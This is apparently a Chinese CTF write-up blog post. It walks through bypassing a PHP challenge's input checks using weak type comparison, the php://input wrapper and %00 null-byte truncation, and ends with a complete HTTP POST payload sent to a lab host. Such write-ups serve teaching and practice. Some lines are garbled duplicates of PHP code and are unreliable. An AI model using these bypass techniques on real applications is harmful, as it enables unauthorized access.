challenge_3

image.png
三个传参值 id a b
前两个好绕过

and $id==0

利用php弱类型比较,数字与字符串等值比较时,字符串取开头的有效数字,无则为0,结合id不为0或null,id可取值开头不带有效数字的字符串,$id=a0
image.png

绕过 a

if(stripos($a,‘.’))

$a要么没有. 要么.在字符串的第一位

d a t a = @ f i l e g e t c o n t e n t s ( data = @file_get_contents( data=@filegetcontents(a,‘r’); if($data==“1112 is a nice lab!”

data 可以使用php伪协议 php://input
a = p h p : / / i n p u t ,即 f i l e g e t c o n t e n t s ( ′ p h p : / / i n p u t ′ , ′ r ′ ) 时 < b r / > a=php://input,即file_get_contents('php://input','r')时<br /> a=php://input,即filegetcontents(php://input,r)<br/>data取请求原始数据流,即post的内容, a = p h p : / / i n p u t < b r / > a=php://input<br /> a=php://input<br/>data取post的数据,post 1112 is a nice lab! 即可
image.png
绕过 b

eregi(“111”.substr( b , 0 , 1 ) , " 1114 " ) a n d s u b s t r ( b,0,1),"1114") and substr( b,0,1),"1114")andsubstr(b,0,1)!=4

image.png
%00能截断substr,但注意get传递时会自动解码一次

strlen($b)>5

$b 长度大于 5 12345

substr($b,0,1)!=4)

b 的 第一位不能为4

eregi(“111”.substr($b,0,1),“1114”)

111与 b 字符串被截取的第一位字符连结后形成的字符串能在 1114 中匹配到,即连结后的字符串可以是 111 也可以是 1114 < b r / > 利用 b字符串被截取的第一位字符连结后形成的字符串能在1114中匹配到,即连结后的字符串可以是111也可以是1114<br />利用%00截断,使substr截取 b字符串被截取的第一位字符连结后形成的字符串能在1114中匹配到,即连结后的字符串可以是111也可以是1114<br/>利用b字符串时被截断,从而形成eregi(“111”,“1114”),匹配成功,同时%00不会对strlen截断,$b=%0012345

完整的payload
image.png

POST /challenge3.php?id=a0&a=php://input&b=%0012345 HTTP/1.1
Host: 172.18.52.58:23113
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 19

1112 is a nice lab!
  • 25
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值